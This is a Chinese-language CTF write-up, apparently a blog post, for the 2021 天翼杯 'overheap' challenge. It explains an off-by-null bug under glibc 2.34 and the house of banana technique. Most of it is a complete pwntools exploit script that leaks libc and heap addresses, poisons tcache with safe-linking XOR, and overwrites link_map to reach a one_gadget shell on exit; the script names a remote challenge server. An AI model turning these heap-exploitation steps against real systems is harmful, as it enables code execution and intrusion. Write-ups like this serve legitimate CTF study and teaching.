2021 天翼杯 overheap

在这里插入图片描述

保护显然

add在这里插入图片描述大小不能超过0x1000

show
在这里插入图片描述
正常

edit
在这里插入图片描述
它的输入函数
在这里插入图片描述
有个off by null。

free
在这里插入图片描述
free函数也正常。

所以说完了就是2.34版本下的一道off by null。

高版本要注意什么
首先是2.32开始对tcache和fastbin的fd指针进行了异或加密,异或的内容其实就是堆地址,所以我们首先必须泄露heap地址。
tcache_entry->next中存放的chunk地址为与自身地址进行异或运算后所得到的值。

2.34开始取消了malloc_hook和free_hook。
我们只能把想法转向IO_FILE。

那么我们来细看
要解决的第一个问题居然是程序跑不了。
在这里插入图片描述
问题在哪呢?
在这里插入图片描述
他给了个他已经patch过的程序。
在这里插入图片描述
IDA也看得出来。

那就把东西都拉进来,然后给他权限。
在这里插入图片描述
就可以了。

所以因为在libc2.34的条件下,我们能利用的方式只有house of banana、house of pig。
这个题里面我们用到的是house of banana。

而且house of banana要注意小细节。
我们在使用house of banana的时候主要是劫持_rtld_global结构体中的link_map结构体,但是我们其实在劫持link_map结构体的时候最重要的是劫持它第一个内容,l_addr结构体,所以其实我们完全可以直接劫持l_addr结构体,也完全可以不用劫持link_map

这次用的就是这个手法。

exp

# -*- coding: utf-8 -*-
from pwn import*

context.log_level='debug'
context.arch='amd64'
context.os = "linux"

pc = "./overheap"

context.binary=pc
context.terminal=["gnome-terminal",'-x','sh','-c']

local = 1
if local:
    r = process(pc)
    elf = ELF(pc)
    libc = elf.libc
    
else:
    r = remote("81.69.230.99",9003)
    elf = ELF(pc)
    libc = ELF("./libc-2.27.so")

sa = lambda s,n : r.sendafter(s,n)
sla = lambda s,n : r.sendlineafter(s,n)
sl = lambda s : r.sendline(s)
sd = lambda s : r.send(s)
rc = lambda n : r.recv(n)
ru = lambda s : r.recvuntil(s)
ti = lambda: r.interactive()
lg = lambda s: log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))

def db():
    gdb.attach(r)

def dbs(src):
    gdb.attach(r, src)


def new(size):
    sla('>> ', '1')
    sla(':', str(size))

def show(idx):
    sla('>> ', '2')
    sla(':', str(idx))

def edit(idx,content):
    sla('>> ', '3')
    sla(':', str(idx))
    sla(':', str(content))

def delete(idx):
    sla('>> ', '4')
    sla(':', str(idx))

def exit0():
    sla('>> ', '5')

def xor_ptr(ptr1,ptr2):
    result=((ptr1>>12)^(ptr2))
    return result

new(0x418) #0
new(0x18) #1
new(0x418) #2
new(0x4f8) #3
new(0x18) #4

delete(0)
delete(2)
new(0x418) #0
new(0x418) #2
show(0)


libc_base = u64(r.recv(8))-0x218cc0
heap_base = u64(r.recv(8))-0x6d0
link_map=libc_base+0x260220
one_gadget=libc_base+0xeea9c
_rtld_global = libc_base + 0x25f040
lg("libc_base")
lg("heap_base")
lg("link_map")
lg("one_gadget")
lg("_rtld_global")

edit(2,p64(heap_base+0x6d0)+p64(heap_base+0x6d0)+'\x00'*0x400+p64(0x420))
delete(3)

new(0x88)
new(0x88)
delete(5)
delete(3)
edit(2,p64(xor_ptr(heap_base+0x6e0,link_map))[:-1]+'\n')
new(0x88)
new(0x88)
edit(5,p64(heap_base)+'\n')
new(0x1000)
new(0x1000)
new(0xd00)
new(0xd00)

edit(9,'a'*0x28+p64(one_gadget)+'\n')

exit0()

r.interactive()

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值